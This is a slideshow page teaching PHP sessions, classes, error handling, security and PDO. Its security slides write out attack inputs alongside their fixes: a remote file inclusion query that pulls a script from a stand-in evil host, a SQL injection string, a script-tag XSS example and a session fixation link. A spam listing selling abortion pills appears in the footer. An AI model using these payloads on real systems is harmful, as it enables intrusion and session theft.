Delete a cookie To remove a cookie, simply overwrite the cookie with a new one with an expiry time in the past… setcookie(‘cookie_name’,’’,time()-6000) Note that theoretically any number taken away from the time() function should do, but due to variations in local computer times, it is advisable to use a day or two.
To be first.. HEADER REQUESTS As the setcookie command involves sending a HTTP header request, it must be executed before any xhtml is echoed to the browser, including whitespace. echoed  whitespace  before setcookie correct! incorrect.
Malicious Cookie Usage There is a bit of a stigma attached to cookies – and they can be maliciously used (e.g. set via 3rd party banner ads). The important thing to note is that some people browse with them turned off. 		e.g. in FF, Tools > Options > Privacy
The USER is in control Cookies are stored client-side, so never trust them completely: They can be easily viewed, modified or created by a 3rd party. They can be turned on and off at will by the user.
Maintaining State in PHPPart II - Sessions
So…
How do ‘Sessions’ work? They are based on assigning each user a unique number, or session id. Even for extremely heavy use sites, this number can for all practical purposes can be regarded as unique.  e.g. 	26fe536a534d3c7cde4297abb45e275a
How do ‘Sessions’ work? This session id is stored in a cookie, or passed in the URL between pages while the user browses. The data to be stored (e.g. name, log-in state, etc.)  is stored securely server-side in a PHP superglobal, and referenced using the session id.
Crucially, sessions are easy to implement as PHP does all the work!
Starting or Resuming a Session session_start(); 	PHP does all the work: It looks for a valid session id in the $_COOKIE or $_GET superglobals – if found it initializes the data. If none found, a new session id is created. Note that like setcookie(), this function must be called before any echoed output to browser.
Starting or Resuming a Session session_start(); When doing anything with sessions, this is always called first!
Storing Session Data The $_SESSION superglobal array can be used to store any session data. 	e.g.  $_SESSION[‘name’] = $name; 		$_SESSION[‘age’] = $age;
Reading Session Data Data is simply read back from the $_SESSION superglobal array. 	e.g.  		$name = $_SESSION[‘name’]; 		$age = $_SESSION[‘age’];
Session Propagation Sessions need to pass the session id between pages as a user browses to track the session.  It can do this in two ways: Cookie propagation URL propagation
Cookie Propagation A cookie is stored on the users PC containing the session id. It is read in whenever session_start(); is called to initialize the session. Default behaviour is a cookie that expires when the browser is closed. Cookie properties can be modified with session_set_cookie_params if required.
URL Propagation The session id is propagated in the URL  	 (…some_folder/index.php?sid=26fe536a534d3c7cde4297abb45e275a) PHP provides a global constant to append the session id to any internal links, SID. 	e.g. <a href="nextpage.php?<?=SID?>">Next page</a>
Which one..? The default setup of a PHP server is to use both methods. it checks whether the user has cookies enabled. If cookies are on, PHP uses cookie propagation. If cookies are off it uses URL propagation.
And this means..? That as developers, we must be aware that sessions can be propagated through URL, and append the constant SIDto any internal links. If sessions are being propagated by cookies, the constant SID is an empty string, so the session id is not passed twice.
Destroying a Session Often not required, but if we want to destroy a session: // clear all session variables $_SESSION = array(); // delete the session cookie if there is one if (isset($_COOKIE[session_name()])) { setcookie(session_name(),'',time()-42000,'/'); } // destroy session session_destroy(); // avoid reusing the SID by redirecting  // back to the same page to regenerate session header('Location: '.$_SERVER['PHP_SELF']);
Session Expiry By default, PHP sessions expire: after a certain length of inactivity (default 1440s), the PHP garbage collection processes deletes session variables. Important as most sessions will not be explicitly destroyed. if propagated by cookies, default is to set a cookie that is destroyed when the browser is closed. If URL propagated, session id is lost as soon as navigate away from the site.
Long-term Sessions Although it is possible to customize sessions so that they are maintained after the browser is closed, for most practical purposes PHP sessions can be regarded as short-term.  Long-term session data (e.g. ‘remember me’ boxes) is usually maintained by explicitly setting and retrieving cookie data.
Session Hi-jacking A security issue: if a malicious user manages to get hold of an active session id that is not their own.. 	e.g. user 1 browsing site with cookies disabled (URL propagation). user 1 logs in. user 1 sends an interesting link to user 2 by email.. The URL copy and pasted contains his session id.  user 2 looks at the link before session id is destroyed, and ‘hijacks’ user 1’s session. user 2 is now logged in as user 1!!
… rule of thumb … 	If you are truly security conscious you should assume that a session propagated by URL may be compromised. Propagation using cookies is more secure, but still not foolproof..
PHP Classes and Object Orientation
Reminder… a function Reusable piece of code. Has its own ‘local scope’. function my_func($arg1,$arg2) { << function statements >> }
Conceptually, what does a function represent?  …give the function something (arguments), it does something with them, and then returns a result… Action or Method
What is a class? Conceptually, a class represents an object, with associated methods and variables
Class Definition <?php class dog { public $name; public function bark() { echo‘Woof!’;} }  ?> An example class definition for a dog. The dog object has a single attribute, the name, and can perform the action of barking.
Class Definition <?php class dog { public $name; public function bark() { echo‘Woof!’;} }  ?> Define the name of the class. class dog {
Class Definition <?php class dog { var $name public function bark() { echo‘Woof!’;} }  ?> public $name; Define an object attribute (variable), the dog’s name.
Class Definition Define an object action (function), the dog’s bark. <?php class dog { public $name; function bark() { echo‘Woof!’;} }  ?> public function bark() { echo‘Woof!’;}
Class Definition <?php class dog { public $name; public function bark() { echo‘Woof!’;} }  ?> End the class definition }
Class Defintion Similar to defining a function.. The definition does not do anythingby itself. It is a blueprint, or description, of an object. To do something, you need to use the class…
Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?>
Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> require(‘dog.class.php’); Include the class definition
Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> $puppy = new dog(); Create a new instance of the class.
Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> $puppy->name = ‘Rover’; Set the name variable of this instance to ‘Rover’.
Class Usage Use the name variable of this instance in an echo statement.. <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> echo “{$puppy->name} says ”;
Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> $puppy->bark(); Use the dog object bark method.
Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> [example file: classes1.php]
One dollar and one only… $puppy->name = ‘Rover’; The most common mistake is to use more than one dollar sign when accessing variables. The following means something entirely different.. $puppy->$name = ‘Rover’;
Using attributes within the class.. If you need to use the class variables within any class actions, use the special variable $this in the definition: 	class dog { public $name; public function bark() { echo $this->name.‘ says Woof!’; } 	}
Constructor methods A constructor method is a function that is automatically executed when the class is first instantiated. Create a constructor by including a function within the class definition with the __construct name. Remember.. if the constructor requires arguments, they must be passed when it is instantiated!
Constructor Example <?php class dog { public $name; public function__construct($nametext) { 		$this->name = $nametext; 	} public function bark() { echo ‘Woof!’;} }  ?> Constructor function
Constructor Example <?php … $puppy = new dog(‘Rover’); 		… ?> Constructor arguments are passed during the instantiation of the object.
Class Scope Like functions, each instantiated object has its own local scope. 	e.g. if 2 different dog objects are instantiated, $puppy1 and $puppy2, the two dog names $puppy1->name and $puppy2->name are entirely independent..
Inheritance The real power of using classes is the property of inheritance – creating a hierarchy of interlinked classes.  dog parent children poodle alsatian
Inheritance The child classes ‘inherit’ all the methods and variables of the parent class, and can add extra ones of their own.  	e.g. the child classes poodle inherits the variable ‘name’ and method ‘bark’ from the dog class, and can add extra ones…
Inheritance example The American Kennel Club (AKC) recognizes three sizes of poodle -  Standard, Miniature, and Toy…  		class poodle extends dog { public $type; public function set_type($height) { if ($height<10) {  					$this->type = ‘Toy’; 				} elseif ($height>15) { 					$this->type = ‘Standard’; 				} else { 					$this->type = ‘Miniature’; 				} 			} 		}
Inheritance example The American Kennel Club (AKC) recognizes three sizes of poodle -  Standard, Miniature, and Toy…  		class poodle extends dog { public $type public function set_type($height) { if ($height<10) {  					$this->type = ‘Toy’; 				} elseif ($height>15) { 					$this->type = ‘Standard’; 				} else { 					$this->type = ‘Miniature’; 				} 			} 		} class poodle extends dog { Note the use of the extends keyword to indicate that the poodle class is a child of the dog class…
Inheritance example … $puppy = new poodle(‘Oscar’); $puppy->set_type(12); // 12 inches high! echo“Poodle is called {$puppy->name}, ”; echo“of type {$puppy->type}, saying “; echo $puppy->bark(); …
…a poodle will always ‘Yip!’ It is possible to over-ride a parent method with a new method if it is given the same name in the child class.. 		class poodle extends dog { 			… public function bark() { echo ‘Yip!’; 			} 			… 		}
Child Constructors? If the child class possesses a constructor function, it is executed and any parent constructor is ignored. If the child class does not have a constructor, the parent’s constructor is executed. If the child and parent does not have a constructor, the grandparent constructor is attempted… … etc.
Objects within Objects It is perfectly possible to include objects within another object.. class dogtag {    public $words;}class dog {    public $name;    public $tag;    public function bark() {        echo "Woof!";    }}  … $puppy = new dog;$puppy->name = “Rover";$poppy->tag = new dogtag;$poppy->tag->words = “blah”; …
Deleting objects So far our objects have not been destroyed till the end of our scripts.. Like variables, it is possible to explicitly destroy an object using the unset() function.
A copy, or not a copy.. Entire objects can be passed as arguments to functions, and can use all methods/variables within the function.  Remember however.. like functions the object is COPIED when passed as an argument unless you specify the argument as a reference variable &$variable
Why Object Orientate? Reason 1 	Once you have your head round the concept of objects, intuitively named object orientated code becomes easy to understand. 	e.g.  		 $order->display_basket(); 		 $user->card[2]->pay($order); 		 $order->display_status();
Why Object Orientate? Reason 2 	Existing code becomes easier to maintain. e.g. If you want to extend the capability of a piece of code, you can merely edit the class definitions…
Why Object Orientate? Reason 3 	New code becomes much quicker to write once you have a suitable class library. e.g. Need a new object..? Usually can extend an existing object. A lot of high quality code is distributed as classes (e.g. http://pear.php.net).
There is a lot more… We have really only touched the edge of object orientated programming… http://www.php.net/manual/en/language.oop.php … but I don’t want to confuse you too much!
PHP4 vs. PHP5 OOP purists will tell you that the object support in PHP4 is sketchy. They are right, in that a lot of features are missing. PHP5 OOP system has had a big redesign and is much better.  	…but it is worth it to produce OOP  code in either PHP4 or PHP5…
PHP Error Handling
Types  There are 12 unique error types, which can be grouped into 3 main categories: Informational (Notices) Actionable (Warnings) Fatal
Informational Errors Harmless problem, and can be avoided through use of explicit programming. 	e.g. use of an undefined variable, defining a string without quotes, etc.  See class example error1.php
Actionable Errors Indicate that something clearly wrong has happened and that action should be taken. 	e.g. file not present, database not available, missing function arguments, etc. See class example error2.php
Fatal Errors Something so terrible has happened during execution of your script that further processing simply cannot continue. 	e.g. parsing error, calling an undefined function, etc.  See class example error3.php
Identifying Errors notice warning fatal
Causing errors It is possible to cause PHP at any point in your script. trigger_error($msg,$type); e.g. … if (!$db_conn) { trigger_error(‘db conn failed’,E_USER_ERROR); 	} 	…
PHP Error Handling
Customizing Error Handling Generally, how PHP handles errors is defined by various constants in the installation (php.ini).  There are several things you can control in your scripts however..
1. Set error reporting settings error_reporting($level) 	This function can be used to control which errors are displayed, and which are simply ignored.  The effect only lasts for the duration of the execution of your script.
1. Set error reporting settings <?php // Turn off all error reporting error_reporting(0); // Report simple running errors error_reporting(E_ERROR | E_WARNING | E_PARSE); // Reporting E_NOTICE can be good too (to report uninitialized // variables or catch variable name misspellings ...) error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); // Report all errors except E_NOTICE error_reporting(E_ALL ^ E_NOTICE); // Report ALL PHP errors error_reporting(E_ALL); ?> See class example error4.php
1. Set error reporting settings Hiding errors is NOT a solution to a problem.  It is useful, however, to hide any errors produced on a live server.  While developing and debugging code, displaying all errors is highly recommended!
2. Suppressing Errors The special @ operator can be used to suppress function errors.  Any error produced by the function is suppressed and not displayed by PHP regardless of the error reporting setting.
2. Suppressing Errors $db = @mysql_connect($h,$u,$p); if (!$db) { trigger_error(‘blah’,E_USER_ERROR); }
2. Suppressing Errors $db = @mysql_connect($h,$u,$p); if (!$db) { trigger_error(blah.',E_USER_ERROR); } $db = @mysql_connect($h,$u,$p); Attempt to connect to database. Suppress error notice if it fails..
2. Suppressing Errors $db = @mysql_connect($h,$u,$p); if (!$db) { trigger_error(blah.',E_USER_ERROR); } Since error is suppressed, it must be handled gracefully somewhere else.. if (!$db) { trigger_error(‘blah’,E_USER_ERROR); }
2. Suppressing Errors Error suppression is NOT a solution to a problem. It can be useful to locally define your own error handling mechanisms. If you suppress any errors, you must check for them yourself elsewhere.
3. Custom Error Handler You can write your own function to handle PHP errors in any way you want.  You simply need to write a function with appropriate inputs, then register it in your script as the error handler. The handler function should be able to receive 4 arguments, and return true to indicate it has handled the error…
3. Custom Error Handler function err_handler( 	$errcode,$errmsg,$file,$lineno) { echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; return true; }
3. Custom Error Handler function err_handler( 	$errcode,$errmsg,$file,$lineno) { echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; return true; } $errcode,$errmsg,$file,$lineno) { The handler must have 4 inputs.. error code error message file where error occurred line at which error occurred
3. Custom Error Handler function err_handler( 	$errcode,$errmsg,$file,$lineno) { echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; return true; } echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; Any PHP statements can be  executed…
3. Custom Error Handler function err_handler( 	$errcode,$errmsg,$file,$lineno) { echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; return true; } Return true to let PHP know that the custom error handler has handled the error OK. return true;
3. Custom Error Handler The function then needs to be registered as your custom error handler: set_error_handler(‘err_handler’); You can ‘mask’ the custom error handler so it only receives certain types of error. e.g. to register a custom handler just for user triggered errors: set_error_handler(‘err_handler’, 		E_USER_NOTICE | E_USER_WARNING | E_USER_ERROR);
3. Custom Error Handler A custom error handler is never passed E_PARSE, E_CORE_ERROR or E_COMPILE_ERROR errors as these are considered too dangerous. Often used in conjunction with a ‘debug’ flag for neat combination of debug and production code display.. See class example error5.php
Review Various different error types exist in PHP.  The error handling system is highly flexible, and your own error handling methods can be developed.
PHP Security
Two Golden Rules FILTER external input ,[object Object]
Less obvious.. $_SERVERESCAPE output ,[object Object]
MYSQL database,[object Object]
Filtering Process by which you inspect data to prove its validity. Adopt a whitelist approach if possible: assume the data is invalid unless you can prove otherwise. Useless unless you can keep up with what has been filtered and what hasn’t…
Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; }
Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } $clean = array(); Initialise an array to store filtered data.
Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } if (ctype_alnum($_POST['username'])) Inspect username to make sure that it is alphanumeric.
Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } $clean['username'] = $_POST['username']; If it is, store it in the array.
Escaping Output Process by which you escape characters that have a special meaning on a remote system. Unless you’re sending data somewhere unusual, there is probably a function that does this for you.. The two most common outputs are xhtml to the browser (use htmlentities()) or a MYSQL db (use mysql_real_escape_string()).
Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome back, {$xhtml['username']}.</p>";
Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome back, {$xhtml['username']}.</p>"; $xhtml = array(); Initialize an array for storing escaped data.
Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome back, {$xhtml['username']}.</p>"; $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); Escape the filtered username, and store it in the array.
Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome back, {$xhtml['username']}.</p>"; echo"<p>Welcome back, {$xhtml['username']}.</p>"; Send the filtered and escaped username to the client.
That’s it! If you follow these rules religiously, you will produce secure code that is hard to break. If you don’t, you will be susceptible to.. 	Next: COMMON ATTACK METHODS
Register Globals: Eh? All superglobal variable array indexes are available as variable names.. 	e.g. in your scripts: $_POST[‘name’] is available as $name 	$_COOKIE[‘age’] is available as $age Most PHP installations have this option turned off, but you should make sure your code is secure if it is turned on.
Register Globals: Example <?phpinclude"$path/script.php"; ?> 	If you forget to initialise $path, and have register_globals enabled, the page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following: include'http://evil.example.org/?/script.php'; 	i.e. a malicious user can include any script in your code..
Register Globals: Solution Be aware that with register globals on, any user can inject a variable of any name into your PHP scripts. ALWAYS EXPLICITLY INITIALISE YOUR OWN VARIABLES!
Spoofed Forms: Eh? Be aware that anybody can write their own forms and submit them to your PHP scripts.  For example, using a select, checkbox or radio button form input does not guarantee that the data submitted will be one of your chosen options…
Spoofed Forms: Example The form written by a web developer to be submitted to a page: <form action="/process.php" method="POST">  	<select name="colour">  		<option value="red">red</option>  		<option value="green">green</option>  		<option value="blue">blue</option>  	</select>  	<input type="submit" />  </form>  The user writes their own form to submit to the same page: <form action="http://example.org/process.php" method="POST"> 	<input type="text" name="colour" />  	<input type="submit" />  </form>
Spoofed Forms: Solution Users can submit whatever they like to your PHP page… and it will be accepted as long as it conforms to your rules. Make sure all your rules are checked by the PHP external data filter, don’t rely on a form to exert rules for you.. They can be changed!
Session Fixation: Eh? Session attacks nearly always involve impersonation – the malicious user is trying to ‘steal’ someone else’s session on your site. The crucial bit of information to obtain is the session id, and session fixation is a technique of stealing this id.
Session Fixation: Eh? 1. The malicious user hosts a page with links to your site/emails around spam links to your site with a session id already set.  … <a href=“http://example.com/index.php?PHPSESSID=1234” …
Session Fixation: Eh? 2. A client follows one of these links and is directed to your site, where they login. 3. Now.. the malicious user knows the session id (he/she set it!), and can ‘hijack’ the session by browsing to your site using the same session id. 4. Malicious user is now logged in as one of your legitimate clients. Ooops.
Session Fixation: Solution To protect against this type of attack, first consider that hijacking a session is only really useful after the user has logged in or otherwise obtained a heightened level of privilege. If we regenerate the session identifier whenever there is any change in privilege level (for example, after verifying a username and password), we will have practically eliminated the risk of a successful session fixation attack.
Session Fixation: Solution session_regenerate_id() 	Conveniently, PHP has a function that does all the work for you, and regenerates the session id. Regenerate the session id using this function before any change in privilege level.
SQL Injection: Eh? The goal of SQL injection is to insert arbitrary data, most often a database query, into a string that’s eventually executed by the database.
SQL Injection: Example Consider this query executed in PHP on a MYSQL db, where the email text has been submitted from the user: “SELECT * FROM members  	 WHERE email = ‘{$_POST[‘email’]}’”
SQL Injection: Example The use of $_POST[..] in the query should immediately raise warning flags.  Consider if a user submitted the following email: dummy’ OR ‘x’=‘x The query now becomes, SELECT * FROM members  WHERE email = ‘dummy’ OR ‘x’=‘x’ 	..which will return the details of all members!
SQL Injection: Solution Filter input data. Quote your data. If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type. Escape your data. For a MySQL db, use the function mysql_real_escape_string()
Accessing Credentials Sometimes you need to store sensitive data on your server such as database passwords, usernames, etc.  There are various options…
Accessing Credentials Don’t store passwords in an included file without a *.php extension but in a web accessible directory…! You can store in a *.php file under the root (i.e. web accessible). OK, but not great. If your PHP parse engine fails, this data will be on plain view to the entire world. Better, is to keep as much code as possible, including definition of passwords, in included files outside of the web accessible directories. With an Apache server, there are various techniques to include passwords and usernames as environment variables, accessed in PHP by the $_SERVER superglobal. worst best
Cross-Site Scripting (XSS) This is a good example of why you should always escape all output, even for xhtml… echo"<p>Welcome back, {$_GET['username']}.</p>"; echo"<p>Welcome back, <script>...</script>.</p>";
XXS: The Solution And again.. Filter input. Escape Output. Be especially careful if you are writing user input to a file, which is later included into your page.. Without checking, the user can then write their own PHP scripts for inclusion.
The ‘magic’ of PHP Recent versions of PHP have gone some way to tightening security, and one of the newer things is ‘magic quotes’. If turned on, this automatically escapes quotation marks and backslashes in any incoming data. Although useful for beginners, it cannot be relied upon if you want to write portable code. http://docs.php.net/en/security.magicquotes.html
The ‘magic’ of PHP: banished! To know where you are starting from, you can use the get_magic_quotes_gpc() function to tell if they are on or off. To start from a consistent point, use stripslashes() to remove any escape characters added by ‘magic quotes’. 	e.g. if (get_magic_quotes_gpc()) { 	$thing = stripslashes($_POST[‘thing’]); 	}
Phew.. But don’t panic! Open Source PHP code needs to be rock solid in terms of security, as everyone can look through the code. In your bespoke solutions, malicious users will have to try to guess.. Much harder!
Review Filter Input  + Escape Output = Secure Code
PHP Data Object (PDO)
What is PDO?  PDO is a PHP extension to formalise PHP's database connections by creating a uniform interface. This allows developers to create code which is portable across many databases and platforms. PDO is not just another abstraction layer like PEAR DB or ADOdb.
Why use PDO?  Portability Performance Power Easy  Runtime Extensible
What databases does it support? Microsoft SQL Server / Sybase  Firebird / Interbase DB2 / INFORMIX (IBM)  MySQL OCI (Oracle Call Interface) ODBC PostgreSQL  SQLite
DSNs In general drivername:<driver-specific-stuff> mysql:host=name;dbname=dbname odbc:odbc_dsn oci:dbname=dbname;charset=charset sqlite:/path/to/db/file sqlite::memory:
Connect to MySQL
Connect to SQLite (file)
Connect to SQLite (memory)
Connect to Oracle
Connect to ODBC
Close a Database Connection
Persistent PDO Connection Connection stays alive between requests $dbh = new PDO($dsn, $user, $pass, 		array(   			PDO_ATTR_PERSISTENT => true 		) );
PDO Query (INSERT)
PDO Query (UPDATE)
PDO Query (SELECT)
Error Handling (1)
Error Handling (2)
Error Handling (3)

Weitere ähnliche Inhalte

Was ist angesagt?

Classes, objects in JAVA
Classes, objects in JAVAClasses, objects in JAVA
Classes, objects in JAVA
Abhilash Nair
 

Was ist angesagt? (20)

Java script
Java scriptJava script
Java script
 
Introduction to java
Introduction to javaIntroduction to java
Introduction to java
 
Fundamental JavaScript [UTC, March 2014]
Fundamental JavaScript [UTC, March 2014]Fundamental JavaScript [UTC, March 2014]
Fundamental JavaScript [UTC, March 2014]
 
Sending emails through PHP
Sending emails through PHPSending emails through PHP
Sending emails through PHP
 
An Overview of HTML, CSS & Java Script
An Overview of HTML, CSS & Java ScriptAn Overview of HTML, CSS & Java Script
An Overview of HTML, CSS & Java Script
 
Html / CSS Presentation
Html / CSS PresentationHtml / CSS Presentation
Html / CSS Presentation
 
Php mysql ppt
Php mysql pptPhp mysql ppt
Php mysql ppt
 
Php introduction
Php introductionPhp introduction
Php introduction
 
Php.ppt
Php.pptPhp.ppt
Php.ppt
 
Classes, objects in JAVA
Classes, objects in JAVAClasses, objects in JAVA
Classes, objects in JAVA
 
Java
JavaJava
Java
 
Javascript
JavascriptJavascript
Javascript
 
Arrays in PHP
Arrays in PHPArrays in PHP
Arrays in PHP
 
Event In JavaScript
Event In JavaScriptEvent In JavaScript
Event In JavaScript
 
PHP Tutorials
PHP TutorialsPHP Tutorials
PHP Tutorials
 
PHP POWERPOINT SLIDES
PHP POWERPOINT SLIDESPHP POWERPOINT SLIDES
PHP POWERPOINT SLIDES
 
Sql ppt
Sql pptSql ppt
Sql ppt
 
Javascript
JavascriptJavascript
Javascript
 
java Servlet technology
java Servlet technologyjava Servlet technology
java Servlet technology
 
Servlets
ServletsServlets
Servlets
 

Andere mochten auch

How to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook RetargetingHow to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook Retargeting
Digital Marketer
 
The Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startupprThe Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startuppr
Onboardly
 

Andere mochten auch (20)

SQL Tutorial for Marketers
SQL Tutorial for MarketersSQL Tutorial for Marketers
SQL Tutorial for Marketers
 
Wireframes - a brief overview
Wireframes - a brief overviewWireframes - a brief overview
Wireframes - a brief overview
 
How to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook RetargetingHow to Plug a Leaky Sales Funnel With Facebook Retargeting
How to Plug a Leaky Sales Funnel With Facebook Retargeting
 
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and RevenueStop Leaving Money on the Table! Optimizing your Site for Users and Revenue
Stop Leaving Money on the Table! Optimizing your Site for Users and Revenue
 
Using Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo TestingUsing Your Growth Model to Drive Smarter High Tempo Testing
Using Your Growth Model to Drive Smarter High Tempo Testing
 
Optimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing FunnelOptimize Your Sales & Marketing Funnel
Optimize Your Sales & Marketing Funnel
 
The Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack FogelsonThe Essentials of Community Building by Mack Fogelson
The Essentials of Community Building by Mack Fogelson
 
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get DoneBiz Dev 101 - An Interactive Workshop on How Deals Get Done
Biz Dev 101 - An Interactive Workshop on How Deals Get Done
 
The Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startupprThe Beginners Guide to Startup PR #startuppr
The Beginners Guide to Startup PR #startuppr
 
The Science of Marketing Automation
The Science of Marketing AutomationThe Science of Marketing Automation
The Science of Marketing Automation
 
Google Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for MeasurementGoogle Analytics Fundamentals: Set Up and Basics for Measurement
Google Analytics Fundamentals: Set Up and Basics for Measurement
 
Some Advanced Remarketing Ideas
Some Advanced Remarketing IdeasSome Advanced Remarketing Ideas
Some Advanced Remarketing Ideas
 
Lean Community Building: Getting the Most Bang for Your Time & Money
Lean Community Building: Getting the Most Bang for  Your Time & MoneyLean Community Building: Getting the Most Bang for  Your Time & Money
Lean Community Building: Getting the Most Bang for Your Time & Money
 
The Science behind Viral marketing
The Science behind Viral marketingThe Science behind Viral marketing
The Science behind Viral marketing
 
Intro to Facebook Ads
Intro to Facebook AdsIntro to Facebook Ads
Intro to Facebook Ads
 
Intro to Mixpanel
Intro to MixpanelIntro to Mixpanel
Intro to Mixpanel
 
Understand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakesUnderstand A/B Testing in 9 use cases & 7 mistakes
Understand A/B Testing in 9 use cases & 7 mistakes
 
LinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master ClassLinkedIn Ads Platform Master Class
LinkedIn Ads Platform Master Class
 
HTML & CSS Masterclass
HTML & CSS MasterclassHTML & CSS Masterclass
HTML & CSS Masterclass
 
How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling How to: Viral Marketing + Brand Storytelling
How to: Viral Marketing + Brand Storytelling
 

Ähnlich wie PHP Powerpoint -- Teach PHP with this

P H P Part I, By Kian
P H P  Part  I,  By  KianP H P  Part  I,  By  Kian
P H P Part I, By Kian
phelios
 
Lecture 2 php basics (1)
Lecture 2  php basics (1)Lecture 2  php basics (1)
Lecture 2 php basics (1)
Core Lee
 
Perl courseparti
Perl coursepartiPerl courseparti
Perl courseparti
ernlow
 
The Java Script Programming Language
The  Java Script  Programming  LanguageThe  Java Script  Programming  Language
The Java Script Programming Language
zone
 
Javascript by Yahoo
Javascript by YahooJavascript by Yahoo
Javascript by Yahoo
birbal
 

Ähnlich wie PHP Powerpoint -- Teach PHP with this (20)

P H P Part I, By Kian
P H P  Part  I,  By  KianP H P  Part  I,  By  Kian
P H P Part I, By Kian
 
Lecture 2 php basics (1)
Lecture 2  php basics (1)Lecture 2  php basics (1)
Lecture 2 php basics (1)
 
Introduction to Perl
Introduction to PerlIntroduction to Perl
Introduction to Perl
 
Introduction to Perl - Day 1
Introduction to Perl - Day 1Introduction to Perl - Day 1
Introduction to Perl - Day 1
 
Introduction To Php For Wit2009
Introduction To Php For Wit2009Introduction To Php For Wit2009
Introduction To Php For Wit2009
 
Beginning Perl
Beginning PerlBeginning Perl
Beginning Perl
 
Perl Introduction
Perl IntroductionPerl Introduction
Perl Introduction
 
php_string.pdf
php_string.pdfphp_string.pdf
php_string.pdf
 
PHP - DataType,Variable,Constant,Operators,Array,Include and require
PHP - DataType,Variable,Constant,Operators,Array,Include and requirePHP - DataType,Variable,Constant,Operators,Array,Include and require
PHP - DataType,Variable,Constant,Operators,Array,Include and require
 
unit 1.pptx
unit 1.pptxunit 1.pptx
unit 1.pptx
 
Perl courseparti
Perl coursepartiPerl courseparti
Perl courseparti
 
What Is Php
What Is PhpWhat Is Php
What Is Php
 
Perl Presentation
Perl PresentationPerl Presentation
Perl Presentation
 
Javascript
JavascriptJavascript
Javascript
 
Php Learning show
Php Learning showPhp Learning show
Php Learning show
 
The Java Script Programming Language
The  Java Script  Programming  LanguageThe  Java Script  Programming  Language
The Java Script Programming Language
 
Les origines de Javascript
Les origines de JavascriptLes origines de Javascript
Les origines de Javascript
 
Javascript by Yahoo
Javascript by YahooJavascript by Yahoo
Javascript by Yahoo
 
The JavaScript Programming Language
The JavaScript Programming LanguageThe JavaScript Programming Language
The JavaScript Programming Language
 
Javascript
JavascriptJavascript
Javascript
 

Kürzlich hochgeladen

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Kürzlich hochgeladen (20)

Boost Fertility New Invention Ups Success Rates.pdf
